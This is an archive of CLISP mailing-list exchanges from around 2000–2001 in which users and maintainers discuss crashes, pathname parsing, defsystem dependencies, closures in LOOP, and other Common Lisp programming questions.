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> * In message <3A3C20E6.3842D74F@163.net>
> * On the subject of "[clisp-list] Q: what causes sigsegv"
> * Sent on Sun, 17 Dec 2000 10:11:50 +0800
> * Honorable bruce <bruce253@163.net> writes:
>
> What does the following sigsegv mean?
> 
>    *** - handle_fault error2 ! address = 0x6C0078 not in
> [0x20234000,0x2098DDC4) !
>    SIGSEGV cannot be cured. Fault address = 0x6C0078.
> 
> After the signal the CLISP process died.
> 
> Does it mean that there is some bug in my programs,  such as array index
> out of range?

no, this is a bug in CLISP.
which version are you using?
on what OS?
architecture?

Please try to create a self-contained bug report and send it to this
list. 

Thanks.

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Sam Steingold wrote:

> > * In message <3A3C20E6.3842D74F@163.net>
> > * On the subject of "[clisp-list] Q: what causes sigsegv"
> > * Sent on Sun, 17 Dec 2000 10:11:50 +0800
> > * Honorable bruce <bruce253@163.net> writes:
> >
> > What does the following sigsegv mean?
> >
> >    *** - handle_fault error2 ! address = 0x6C0078 not in
> > [0x20234000,0x2098DDC4) !
> >    SIGSEGV cannot be cured. Fault address = 0x6C0078.
> >
> > After the signal the CLISP process died.
> >
> > Does it mean that there is some bug in my programs,  such as array index
> > out of range?
>
> no, this is a bug in CLISP.
> which version are you using?
> on what OS?
> architecture?
>
> Please try to create a self-contained bug report and send it to this
> list.
>
> Thanks.

I'm using clisp-2000-03-06 on Linux/i686.

In order to produce such a bug report, I need detailed help.

I found one previous message from Bruno in that direction, but that requires
recompile clisp using different compile parameter, which seems not for this case.

Best!

Shouxun



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> * In message <3A3C7D7D.ECF80B47@163.net>
> * On the subject of "Re: [clisp-list] Q: what causes sigsegv"
> * Sent on Sun, 17 Dec 2000 16:46:53 +0800
> * Honorable bruce <bruce253@163.net> writes:
>
> I'm using clisp-2000-03-06 on Linux/i686.
> 
> In order to produce such a bug report, I need detailed help.

you need to tell us how to reproduce your crash.
I.e., you will have to send us the transcript of the entire session.
E.g., like this:

$ clisp -q

> (load "crash.lisp")

segmentation fault
$

and then send us the file "crash.lisp".
please try to make the file as small as possible.

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Sam Steingold wrote:

> > * In message <3A3C7D7D.ECF80B47@163.net>
> > * On the subject of "Re: [clisp-list] Q: what causes sigsegv"
> > * Sent on Sun, 17 Dec 2000 16:46:53 +0800
> > * Honorable bruce <bruce253@163.net> writes:
> >
> > I'm using clisp-2000-03-06 on Linux/i686.
> >
> > In order to produce such a bug report, I need detailed help.
>
> you need to tell us how to reproduce your crash.
> I.e., you will have to send us the transcript of the entire session.
> E.g., like this:
>
> $ clisp -q
>
> > (load "crash.lisp")
>
> segmentation fault
> $

I came across `sigsegv' twice before reporting to the list, but I cannot
reproduce it now.  One reason is that my program is data-intensive and it takes
too much time for a run.  The power was down before the run could be completed
and before another `sigsegv' occurred.

Another thing is that the clisp process died quietly when I started Star Office
5.2.  Star Office took quite a lot of memory at startup, I must say.

GC is quite frequent when my program is running.  How can one control when GC
occurs? Perhaps when there are enough memory, clisp does not have to do frequent
GC.

Best!

shouxun



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I have a compilation problem with the source code of the book "Artificial
Intelligence - A Modern Approach" by Norvig and Russel (0.95 AIMA Code,
Patriots Day Version, 21-Apr-1997). I use CLISP 2000-03-06 (March 2000)
under Red Hat Linux 6.2.

After customizing aima.lisp as explained in the documentation, I load it
and start compilation:

[7]> (load "aima.lisp")
;; Loading file aima.lisp ...
;;  Loading file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp ...
;;  Loading of file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp is
finished.
[...]
;;  Loading file
/home/paolo/Lisp/common-lisp/code/aima/utilities/test-utilities.lisp ...
;;  Loading of file
/home/paolo/Lisp/common-lisp/code/aima/utilities/test-utilities.lisp is
finished.
;; Loading of file aima.lisp is finished.
T
[8]> (aima-compile)
Compiling file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp ...

Compilation of file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.lisp is
finished.
0 errors, 0 warnings
;; Loading file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.fas ...
;; Loading of file
/home/paolo/Lisp/common-lisp/code/aima/utilities/utilities.fas is finished.
[...]
Compiling file /home/paolo/Lisp/common-lisp/code/aima/utilities/cltl2.lisp
...
** - Continuable Error
Redefining the COMMON LISP macro WITH-SIMPLE-RESTART
If you continue (by typing 'continue'): The old definition will be lost
1. Break [9]> 

The code that triggers the error is in utilities/cltl2.lisp and is intended
for old Lisp systems, i.e. pre-CLtL2:

(define-if-undefined
  
(defmacro with-simple-restart (restart &rest body)
  "Like PROGN, except provides control over restarts if there is an error."
  (declare (ignore restart))
  `(progn ,@body))

(defmacro destructuring-bind ... )

  ) ; end define-if-undefined

The DEFINE-IF-UNDEFINED macro is defined in utilities/utilities.lisp:

(defmacro define-if-undefined (&rest definitions)
  "Use this to conditionally define functions, variables, or macros that
  may or may not be pre-defined in this Lisp.  This can be used to provide
  CLtL2 compatibility for older Lisps."
  `(progn
     ,@(mapcar #'(lambda (def)
		   (let ((name (second def)))
		     `(when (not (or (boundp ',name) (fboundp ',name)
				     (special-form-p ',name)
				     (macro-function ',name)))
		       ,def)))
	       definitions)))

I am perplexed because CLISP does have WITH-SIMPLE-RESTART, so the test in
the WHEN form should evaluate to NIL--and indeed it does if evaluated at
the listener. Any suggestions?


Paolo
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Paolo Amoroso writes:
> I have a compilation problem with the source code of the book "Artificial
> Intelligence - A Modern Approach" by Norvig and Russel (0.95 AIMA Code,
> Patriots Day Version, 21-Apr-1997). I use CLISP 2000-03-06 (March 2000)
> under Red Hat Linux 6.2.

> The code that triggers the error is in utilities/cltl2.lisp and is intended
> for old Lisp systems, i.e. pre-CLtL2:
> 
> (define-if-undefined
>   
> (defmacro with-simple-restart (restart &rest body)
>   "Like PROGN, except provides control over restarts if there is an error."
>   (declare (ignore restart))
>   `(progn ,@body))
> 
> (defmacro destructuring-bind ... )
> 
>   ) ; end define-if-undefined
> 
> The DEFINE-IF-UNDEFINED macro is defined in utilities/utilities.lisp:
> 
> (defmacro define-if-undefined (&rest definitions)
>   "Use this to conditionally define functions, variables, or macros that
>   may or may not be pre-defined in this Lisp.  This can be used to provide
>   CLtL2 compatibility for older Lisps."
>   `(progn
>      ,@(mapcar #'(lambda (def)
> 		   (let ((name (second def)))
> 		     `(when (not (or (boundp ',name) (fboundp ',name)
> 				     (special-form-p ',name)
> 				     (macro-function ',name)))
> 		       ,def)))
> 	       definitions)))
> 
> I am perplexed because CLISP does have WITH-SIMPLE-RESTART, so the test in
> the WHEN form should evaluate to NIL--and indeed it does if evaluated at
> the listener. Any suggestions?

This relates to the ANSI CL issue "DEFINING-MACROS-NON-TOP-LEVEL:ALLOW",
and both the code above and CLISP's compiler don't conform to CLHS.

CLHS says about DEFMACRO:
   If a defmacro form appears as a top level form, the compiler must
   store the macro definition at compile time, so that occurrences of
   the macro later on in the file can be expanded correctly. Users must
   ensure that the body of the macro can be evaluated at compile time
   if it is referenced within the file being compiled.

This means that in code like the above

   (when (not (or (boundp 'with-simple-restart) ...))
     (defmacro with-simple-restart ...)
   )

the 'defmacro' form is not at top level and therefore will have no
effect during compile-file. That's why I consider the code above
broken.

But CLISP is broken as well: It must not evaluate the
   (not (or (boundp 'with-simple-restart) ...))
condition at compile-time. According to ANSI CL, it should produce
code for the defmacro form, but otherwise during the compilation
behave as if the form wasn't there. That's not what CLISP does. CLISP
chooses to always evaluate the form, because that copes better with
old CLtL1 programs that do things like

    (if (not (find-package ...))
      (defpackage ...) ; or even worse: (make-package ...)
    )

It's related to EVAL-WHEN, arguably the darkest spot of the CL
specification.

Bruno


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    Hello,

    Will there be support for namestrings such as above?

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> * In message <m3k88eftxm.fsf@symbiose.dnsalias.net>
> * On the subject of "[clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
> * Sent on 02 Jan 2001 12:40:21 +0800
> * Honorable Georges KO <gko@gko.net> writes:
>
>     Will there be support for namestrings such as above?

http://clisp.sourceforge.net/impnotes.html#filenames says that the
`host' component of a pathname is always nil - Bruno, how important is
this requirement for you? (pathname.d seems not to assume this, but it
always wants to concat them as host:/path/ -- BTW, much as I hate
windows, //host/path makes more sense than host:/path since ":" is a
valid filename char while zero length filenames are not allowed, so the
windows way is less ambiguous)

since win32 CreateFile can take strings like \\host\dir\name.ext, it
makes sense to modify `parse-namestring' and `namestring' to handle
such strings properly:

now:
(parse-namestring "\\\\host\\dir\\name.ext")
==>
#S(pathname :host nil :device nil :directory (:absolute "" "host" "dir")
   :name "name" :type "ext" :version nil)
should be:
#S(pathname :host "host" :device nil :directory (:absolute "dir")
   :name "name" :type "ext" :version nil)

unfortunately, something deep is amiss there:

(let ((a "\\\\host\\dir\\name.ext"))
  (string= a (namestring (parse-namestring a))))
        ==> T

so obviously some other change is necessary too.
(it appears that the default device gets in the way - I don't have time
to investigate further right now, I hope Bruno will tell you more...)

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Georges KO asked:
>     Will there be support for namestrings such as above?
Sam Steingold:
> http://clisp.sourceforge.net/impnotes.html#filenames says that the
> `host' component of a pathname is always nil - Bruno, how important is
> this requirement for you?

This is not a requirement; it's a description of what the
implementation currently does. And it does it because Georges Ko is
the first one who realized that it could be useful. (At the time I did
the Win32 port, this \\hostname\subdir\filename.type syntax wasn't
frequently used.)

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Bruno Haible <haible@ilog.fr> writes:

> This is not a requirement; it's a description of what the
> implementation currently does. And it does it because Georges Ko is
> the first one who realized that it could be useful. (At the time I
> did the Win32 port, this \\hostname\subdir\filename.type syntax wasn't
> frequently used.)

    Well, it would be nice if this kind of namestrings was
implemented, as I need to do things such as probe-file, load, open,
etc. on a set of Windows machines.

    Georges.
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> * In message <m3bstlfh4g.fsf@symbiose.dnsalias.net>
> * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
> * Sent on 06 Jan 2001 12:18:23 +0800
> * Honorable Georges KO <gko@gko.net> writes:
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> Bruno Haible <haible@ilog.fr> writes:
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> > (At the time I did the Win32 port, this
> > \\hostname\subdir\filename.type syntax wasn't frequently used.)
> 
>     Well, it would be nice if this kind of namestrings was
> implemented, as I need to do things such as probe-file, load, open,
> etc. on a set of Windows machines.

done - see the current CVS or the snapshots on cellar.goems.com (it will
be up for some time, but not for long, I hope to move the snapshots
infrastructure either to sourceforge or to cons.org).

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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ECEF2@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] Debugger"
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> Is there a debugger that works with CLISP environment?

in addition to the built-in CLISP debugger
(http://clisp.sourceforge.net/impnotes.html#debugger)
there is a GUI http://bewoner.dma.be/marclisp/intro.html

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Suppose I have a system which depends on some files in another system.
is there a way to specify this in *.system?
I mean, is there an easier alternative to

$ cd sys1
$ make system
$ cd ../sys2
$ make system

etc?

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> Suppose I have a system which depends on some files in another system.
    Sam> is there a way to specify this in *.system?
    Sam> I mean, is there an easier alternative to

    Sam> $ cd sys1
    Sam> $ make system
    Sam> $ cd ../sys2
    Sam> $ make system

    Sam> etc?

The docs for defsystem says you can make systems depend on other
systems.

(defsystem sys2
  (:depends-on "sys1")
  ...)

or something like that.

Never really tried it though.

Ray


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> * In message <4nvgrperkf.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] defsystem: a system which depends on another system"
> * Sent on 08 Jan 2001 15:07:12 -0500
> * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
>
> >>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
> 
>     Sam> Suppose I have a system which depends on some files in another system.
>     Sam> is there a way to specify this in *.system?
>     Sam> I mean, is there an easier alternative to
> 
>     Sam> $ cd sys1
>     Sam> $ make system
>     Sam> $ cd ../sys2
>     Sam> $ make system
> 
>     Sam> etc?
> 
> The docs for defsystem says you can make systems depend on other
> systems.
> 
> (defsystem sys2
>   (:depends-on "sys1")
>   ...)
> 
> or something like that.

yeah - I tried that already:
it cannot find the "sys1" dependency even though I load sys1.system
within sys2.system!

> Never really tried it though.

it shows :-)


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> Suppose I have a system which depends on some files in another
> system.

They shouldn't. If this is the case the dependency should be on the
whole "other" system.

> is there a way to specify this in *.system?
> I mean, is there an easier alternative to
> 
> $ cd sys1
> $ make system
> $ cd ../sys2
> $ make system


Apart from the above comment, this is one of the subtle semantics
issues that should be resolved prior to implementation.  At the time
of this writing MK-DEFSYSTEM-3.2i pretty much forces you to do what
you say you do.

Cheers




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As an aside,

the clocc-* and clisp-* postings have started to appear as coming from
a number of different addresses: clisp-list@sourceforge.net,
cloccl-devel@users.sourceforge.net and so on.

Is this a Sourceforge quirkiness or it is something that people do?
It is messing up my .procmailrc. :)

Cheers

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Marco Antoniotti schrieb:
> the clocc-* and clisp-* postings have started to appear as coming from
> a number of different addresses: clisp-list@sourceforge.net,
> cloccl-devel@users.sourceforge.net and so on.

<clisp-list@lists.sourceforge.net> and <clisp-list@sourceforge.net> for me so
far.
my new filter is only '^clisp-list@' now.
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Sam Steingold <sds@gnu.org> writes:

| > * Honorable Raymond Toy <toy@rtp.ericsson.se> writes:
...
| > The docs for defsystem says you can make systems depend on other
| > systems.
| > 
| > (defsystem sys2
| >   (:depends-on "sys1")
| >   ...)
| > 
| > or something like that.
| 
| yeah - I tried that already:
| it cannot find the "sys1" dependency even though I load sys1.system
| within sys2.system!

Try

(defsystem sys2
  ...
  :depends-on (sys1)
  ...)

instead.

I use this feature a *lot* so I know it definitely works.  If it
doesn't for you, then there is something fishy going on :)

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Sam Steingold <sds@gnu.org> wrote: 

> >     Well, it would be nice if this kind of namestrings was
> > implemented, as I need to do things such as probe-file, load, open,
> > etc. on a set of Windows machines.
> 
> done - see the current CVS or the snapshots on cellar.goems.com (it will
> be up for some time, but not for long, I hope to move the snapshots
> infrastructure either to sourceforge or to cons.org).

    Thanks ! As I have no compiler installed on my machine, is there a
binary version of the latest CVS for Win32 (like, the one you got when
you compiled your version) ?

    Also, it seems that passing logical pathnames to open, probe-file,
etc. doesn't work, that is, I have to translate them to pathnames...

    Thanks.

    Georges.
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> * In message <m3bstgeq40.fsf@symbiose.dnsalias.net>
> * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
> * Sent on 09 Jan 2001 22:50:55 +0800
> * Honorable Georges KO <gko@gko.net> writes:
>
>     Thanks ! As I have no compiler installed on my machine, is there a
> binary version of the latest CVS for Win32 (like, the one you got when
> you compiled your version) ?

I could probably create one, but I won't.
Please understand: this is a development version, not even a pretest.
It does contain numerous _known_ bugs.
You would probably be better off using the release.

We do understand that it has been almost a year since the last
release, and we hope to make another release more or less soon (don't
hold your breath though).

>     Also, it seems that passing logical pathnames to open, probe-file,
> etc. doesn't work, that is, I have to translate them to pathnames...

the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default,
set to T by LISP:*ANSI* and `-a'), which controls this.

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> From: Sam Steingold <sds@gnu.org>
> Date: 09 Jan 2001 10:10:25 -0500

  ...

> the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default,
> set to T by LISP:*ANSI* and `-a'), which controls this.

What will this entail?  Also, why not make the ANSI behavior the default?

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> * In message <200101091525.KAA12811@octagon.mrl.nyu.edu>
> * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
> * Sent on Tue, 9 Jan 2001 10:25:45 -0500
> * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
>
> > From: Sam Steingold <sds@gnu.org>
> > Date: 09 Jan 2001 10:10:25 -0500
> > the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default,
> > set to T by LISP:*ANSI* and `-a'), which controls this.
> 
> What will this entail?

(pathname "host:dir;name.ext") will be the same as
(pathname (translate-logical-pathname "host:dir;name.ext"))

> Also, why not make the ANSI behavior the default?

because win32 paths like "c:\\dir\\name.ext" make logical paths
ambiguous.

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> > * In message <200101091525.KAA12811@octagon.mrl.nyu.edu>
> > * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
> > * Sent on Tue, 9 Jan 2001 10:25:45 -0500
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> >
> > > From: Sam Steingold <sds@gnu.org>
> > > Date: 09 Jan 2001 10:10:25 -0500
> > > the next release will have LISP:*PARSE-NAMESTRING-ANSI* (NIL by default,
> > > set to T by LISP:*ANSI* and `-a'), which controls this.
> > 
> > What will this entail?
> 
> (pathname "host:dir;name.ext") will be the same as
> (pathname (translate-logical-pathname "host:dir;name.ext"))

As it should be.

> 
> > Also, why not make the ANSI behavior the default?
> 
> because win32 paths like "c:\\dir\\name.ext" make logical paths
> ambiguous.

You can easily disambiguate this case. The presence of the #\\
character right after the "c:" tells you that this cannot be treated
as a logical pathname.  LWW and ACL do the expected thing. Moreover,
if I the ANSI modality on, what will happen when I say

(pathname "c:\\dir\\name.ext")

?


The problem with the Windows filenames is

    "c:zut.ext."

as the problem with UNIX is

    ".cshrc"

(as per the message just appeared on CLL).

Cheers

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On Tue, Jan 09, 2001 at 03:12:05AM +0200, Reini Urban wrote:
> 
> 
> Marco Antoniotti schrieb:
> > the clocc-* and clisp-* postings have started to appear as coming from
> > a number of different addresses: clisp-list@sourceforge.net,
> > cloccl-devel@users.sourceforge.net and so on.
> 
> <clisp-list@lists.sourceforge.net> and <clisp-list@sourceforge.net> for me so
> far.
> my new filter is only '^clisp-list@' now.

My .procmail has:

:0 H
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$MATCH

and it seems to work...

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> * In message <200101091856.NAA13421@octagon.mrl.nyu.edu>
> * On the subject of "Re: [clisp-list] Support of Windows' \\mymachine\mydir\myfile namestrings?"
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> > (pathname "host:dir;name.ext") will be the same as
> > (pathname (translate-logical-pathname "host:dir;name.ext"))
>
> As it should be.

as per the ANSI CL spec, yes.

> > > Also, why not make the ANSI behavior the default?
> >
> > because win32 paths like "c:\\dir\\name.ext" make logical paths
> > ambiguous.
>
> You can easily disambiguate this case. The presence of the #\\
> character right after the "c:" tells you that this cannot be treated
> as a logical pathname.

what about "c:" and "c:file.path"?

if there are logical pathnames and there is no logical host "c", we must
signal an error.  if this is a physical pathname, we cannot define a
logical host "c".  if we check for existence of logical host "c" before
deciding what kind of pathname this is, than the interpretation of this
path might change with time, which can be a bitch to deal with.

Marco, you are preaching to a converted.

I believe that whatever ANSI said must be implemented no matter how
stupid - just because the users expect it.
I think `-a' should be the default.
Bruno is opposed to it.
The issue is closed as far as we are concerned.
All further question should be directed to Bruno.

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Sam Steingold wrote:
> in addition to the built-in CLISP debugger
> (http://clisp.sourceforge.net/impnotes.html#debugger)
> there is a GUI http://bewoner.dma.be/marclisp/intro.html

Have others had luck using the above-mentioned GUI with CLISP? I tried
about six months ago, but I simply couldn't get it to work. If others
have it working, I'll try again.

--Jim Amundson


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James Amundson schrieb:
> Have others had luck using the above-mentioned GUI with CLISP? I tried
> about six months ago, but I simply couldn't get it to work. If others
> have it working, I'll try again.

hmm, doesn't seem to be good for my system either.
my bash (cygwin) seems to fail on internal function definitions today.

cd lispdebug-0.92/cfiles
/lisp/lispdebug-0.92/cfiles$ ./configure
./configure: 520: Syntax error: "(" unexpected

/lisp/lispdebug-0.92/cfiles$ head -n530 configure |tail
function exit_error ()
{
 echo "Failed to configure the interface"
 echo "ERROR::$1"
 exit -1
}

/lisp/lispdebug-0.92/cfiles$ autoconf
/lisp/lispdebug-0.92/cfiles$ ./configure
./configure: 520: Syntax error: "(" unexpected

/lisp/lispdebug-0.92/cfiles$ grep -n CAHCE *.in
configure.in:4:define([AC_CAHCE_SAVE],)dnl

/lisp/lispdebug-0.92$ ./install-clisp add /usr/local . /usr/local/lisp lisp
./install-clisp: 36: Syntax error: "(" unexpected

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Might there be any documentation or example code for using CLISP's
interface to foreign objects?  I'm contemplating talking to the Apache
API.  (I also want to know for other reasons -- I'm also interested in
talking to libpcap...)

I'd really like to be able to find a way to write Apache servlets in
Common Lisp.  There has to be a way to do this without a lot of pain
and suffering being involved:
 o I don't want to port some behemoth like CL-HTTP to CLISP so I can
   write web code (CL-HTTP doesn't seem to work with CMUCL 18c);
 o Apache seems to be doing a good job of tying programs and whatnot
   to the web, so I say, let it manage that job;
 o Because CLISP is able to write such small images, it seems like
   it's in a good position to compete, resource-wise, with less
   optimal languages that have a reputation of producing small and
   fast runtime code.
 o I tried to get the onShore IMHO stuff running, using Apache JServ
   and its connection to CMUCL, which rapidly got way out of control.

Just for giggles, a few minutes ago, I did a completely unscientific
experiment to test the relative level of load for Perl/CGI code as
compared to essentially the same thing using CLISP.  In a trivial
"Hello, Web" Perl program, I was able to drive the load up to about
.35 on my Indy just by continuously banging on the program for about
30 seconds.

I did the same thing with a "Hello, Web" program written in Common
Lisp, compiled, and dumped to a memory image, then wrapped with some
Bourne shell that would invoke clisp quietly, without loading startup
stuff, and using the image I dumped.  Banging away on the server, I
was able to get the load up to about .25.

Of course, this isn't highly important, since I really don't want to
write CGI code, but having just cranked out some CGI Perl to get a
small job done quickly, I'm beginning to wonder if maybe the "cost of
entry" for writing web server-side code in Lisp is just too high...

-- 
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I' ve made this function to compile lisp code from a file and to write the
results in other files! In fact,  I want to write in the error file the
"break message" as in lisp prompt and not the error. How can I do this?
Thanks..

(defun lisp-call ()
;;open the files
(let ((is (open "file way/code" :direction :input))
      (os (open "file way/results" :direction :output))
      (es (open "file way/erros" :direction :output)))
;;write to files    
   (multiple-value-bind (a error)
        (ignore-errors (print (eval (read is)) os))
      (print error es))
    (close es)
    (close os)))
;;start function
(lisp-call)



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> * In message <Pine.LNX.3.96.1010117161428.16422B-100000@baker.lcmi.ufsc.br>
> * On the subject of "[clisp-list] Break message"
> * Sent on Wed, 17 Jan 2001 16:24:17 -0200 (EDT)
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>
> I' ve made this function to compile lisp code from a file and to write the
> results in other files! In fact,  I want to write in the error file the
> "break message" as in lisp prompt and not the error. How can I do this?
> Thanks..
> 
> (defun lisp-call ()
> ;;open the files
> (let ((is (open "file way/code" :direction :input))
>       (os (open "file way/results" :direction :output))
>       (es (open "file way/erros" :direction :output)))
> ;;write to files    
>    (multiple-value-bind (a error)
>         (ignore-errors (print (eval (read is)) os))
>       (print error es))
>     (close es)
>     (close os)))
> ;;start function
> (lisp-call)

1. you forgot to close `is'.  You might find the macro `with-open-file'
   useful.  Please see the CLHS.

2. what you probably want is to bind `*standard-output*',
   `*error-output*', and `*standard-input*'.  Please see the CLHS.

3. You might find the function `dribble' useful.  Please see the CLHS.

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> I' ve made this function to compile lisp code from a file and to write the
> results in other files! In fact,  I want to write in the error file the
> "break message" as in lisp prompt and not the error. How can I do this?
> Thanks..
> 
> (defun lisp-call ()
> ;;open the files
> (let ((is (open "file way/code" :direction :input))
>       (os (open "file way/results" :direction :output))
>       (es (open "file way/erros" :direction :output)))
> ;;write to files    
>    (multiple-value-bind (a error)
>         (ignore-errors (print (eval (read is)) os))
>       (print error es))
>     (close es)
>     (close os)))

(defun lisp-call ()
   (with-open-file (is "file way/code" :direction :input)
      (with-open-file (os "file way/results" :direction :output
                                             :if-exists :supersede)
         (with-open-file (es "file way/errors" :direction :output
                                               :if-exists :supersede)
            (multiple-value-bind (a error)
                (ignore-errors (print (eval (read is)) os))
              (print error es))))))

Cheers

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I want to build a family of functions, my first attempt was

(setq function-set-1
   (loop for i from 0 to 9 collect
     (lambda (x) (list x i))))

But this don't work properly:

(setf f1-6 (nth 5 function-set-1))

> (funcall f1-6 3)
; => (3 10)  !!! It will must be (3 5)

When I do the same with mapcar:

(setq function-set-2
      (mapcar (lambda (i) (lambda (x) (list x i)))
       '(0 1 2 3 4 5 6 7 8 9)))

(setf f2-6 (nth 5 function-set-2))

> (funcall f2-6 3)
; => (3 5)

What's the problem with loop?


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<tt>I want to build a family of functions, my first attempt was</tt><tt></tt>
<p><tt>(setq function-set-1</tt>
<br><tt>&nbsp;&nbsp; (loop for i from 0 to 9 collect</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp; (lambda (x) (list x i))))</tt><tt></tt>
<p><tt>But this don't work properly:</tt><tt></tt>
<p><tt>(setf f1-6 (nth 5 function-set-1))</tt><tt></tt>
<p><tt>> (funcall f1-6 3)</tt>
<br><tt>; => (3 10)&nbsp; !!! It will must be (3 5)</tt><tt></tt>
<p><tt>When I do the same with mapcar:</tt><tt></tt>
<p><tt>(setq function-set-2</tt>
<br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (mapcar (lambda (i) (lambda (x)
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On Fri, 26 Jan 2001, Francisco Jes=FAs Mart=EDn Mateos wrote:

> I want to build a family of functions, my first attempt was
>=20
> (setq function-set-1
>    (loop for i from 0 to 9 collect
>      (lambda (x) (list x i))))

Try:

(setq function-set-1
   (loop for i from 0 to 9 collect
     (let ((j i))
       (lambda (x) (list x j))))

> What's the problem with loop?

In the loop version you were using ten times the same variable, not ten
different variables.

P.





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> * In message <3A716089.E6D89FDE@cica.es>
> * On the subject of "[clisp-list] Family of functions"
> * Sent on Fri, 26 Jan 2001 12:33:29 +0100
> * Honorable Francisco Jes=FAs Mart=EDn Mateos <fjesus@cica.es> writes:
>
> I want to build a family of functions, my first attempt was
>=20
> (setq function-set-1
>    (loop for i from 0 to 9 collect
>      (lambda (x) (list x i))))

(setq function-set-1
      (loop for i from 0 to 9 collect
            (let ((i i)) (lambda (x) (list x i)))))

should do what you want.

this is because in your version "i" is bound in turn to 0..9 and lambda
gets the binding, so all lambdas have the same "i", so to speak, which
changes values.

in my version, each lambda gets its own "i", bound specifically for it.

this is not a bug, but a subtle intricacy of Common Lisp.

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I get this consistently with win32 clisp from 2000-03-06, running in nt 
emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x shell") 
and with the run-lisp command running clisp in inferior-lisp mode (my setup 
is copied from the editors.txt file supplied with clisp):


[1]> hello

*** - EVAL: variable HELLO has no value
1. Break [2]> yesterday

*** - EVAL: variable YESTERDAY has no value
2. Break [3]> abort

1. Break [2]> abort

*** - EVAL: variable ABORT has no value
2. Break [4]>

It seems like the 'abort' will only bring me one level up regardless of how 
deep I am:


[1]> en

*** - EVAL: variable EN has no value
1. Break [2]> to

*** - EVAL: variable TO has no value
2. Break [3]> tre

*** - EVAL: variable TRE has no value
3. Break [4]> fire

*** - EVAL: variable FIRE has no value
4. Break [5]> abort

3. Break [4]> abort

*** - EVAL: variable ABORT has no value
4. Break [6]> abort

3. Break [4]> abort

*** - EVAL: variable ABORT has no value
4. Break [7]> abort

3. Break [4]> abort

*** - EVAL: variable ABORT has no value
4. Break [8]> abort

3. Break [4]>

Run from a standard dos shell, clisp behaves as I would expect i.e. each 
abort exits one level of the breakloop until I'm back in the normal toplevel.




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Kristoffer Kvello writes:
> I get this consistently with win32 clisp from 2000-03-06, running in nt 
> emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x shell") 
> and with the run-lisp command running clisp in inferior-lisp mode (my setup 
> is copied from the editors.txt file supplied with clisp):

> 2. Break [3]> abort
> 
> 1. Break [2]> abort
> 
> *** - EVAL: variable ABORT has no value
> 2. Break [4]>

Can you try to change the coding-system of the shell buffer from
xxxx-dos to xxxx-unix? The code which converts CR/LF to Newline in the
CLISP input streams is a bit hairy and can be easily confused.

Bruno


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At 03:54 PM 1/29/01 +0100, Bruno Haible wrote:
>Kristoffer Kvello writes:
> > I get this consistently with win32 clisp from 2000-03-06, running in nt
> > emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x 
> shell")
> > and with the run-lisp command running clisp in inferior-lisp mode (my 
> setup
> > is copied from the editors.txt file supplied with clisp):
>
> > 2. Break [3]> abort
> >
> > 1. Break [2]> abort
> >
> > *** - EVAL: variable ABORT has no value
> > 2. Break [4]>
>
>Can you try to change the coding-system of the shell buffer from
>xxxx-dos to xxxx-unix? The code which converts CR/LF to Newline in the
>CLISP input streams is a bit hairy and can be easily confused.

That did the trick.  Thanks a lot!






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I have this code to read from a file some algorithm that came from a HTML
text area. I want that this code read (and compile) the file until the end
of file and not only the line (with "read-line"). How can I do this?
Thanks,


(setf *error-output*    (open "erro"  :direction :output))
(setf *standard-output* (open "saida" :direction :output))

(setf ?arq (open "input.lsp"))
(handler-case
           (loop
                (eval (read-from-string (read-line ?arq)))
           )

(stream-error () (read-from-string "fim_do_arquivo")))

(cerror  "Nenhum erro foi encontrado no c&oacute;digo fornecido!")

(close *error-output*)
(close *standard-output*)



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Leonardo Bitsch writes:
> I want that this code read (and compile) the file until the end
> of file and not only the line (with "read-line"). How can I do this?

One possibility is that you write a function 'read-contents' which
reads the contents of a stream until EOF, and returns it as a string.

Another possibility, if the stream may contain multiple Lisp forms, is
to call  (load stream). 'load' also accepts streams, not only filenames.

Bruno


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Hi,

Can someone help me...
I'm trying to do adjustable array..

(let ((sum 0)
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      (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array 
     ) 
 
  (setq cellminarray (adjust-array cellminarray '(4 4)))
 

I think the error is in line: (cellminarray (make-array '(0 0) :adjustable
));; End of Make-array 

I get *** - EVAL/APPLY: keyword arguments for #<SYSTEM-FUNCTION MAKE-ARRAY>
should occur pairwise



Thanks for any help

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<BR><FONT SIZE=2>I'm trying to do adjustable array..</FONT>
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<P><FONT SIZE=2>(let ((sum 0)</FONT>
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On Tue, 6 Feb 2001, Justice, Randy -CONT wrote:

> Hi,
> 
> Can someone help me...
> I'm trying to do adjustable array..
> 
> (let ((sum 0)
>       (array-length ( - (array-dimension txy 0 ) 1))
>       (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array 
>      ) 

Use:  ...   :adjustable t)) ...

P.



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Thanks for you help...

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On Tue, 6 Feb 2001, Justice, Randy -CONT wrote:

> Hi,
> 
> Can someone help me...
> I'm trying to do adjustable array..
> 
> (let ((sum 0)
>       (array-length ( - (array-dimension txy 0 ) 1))
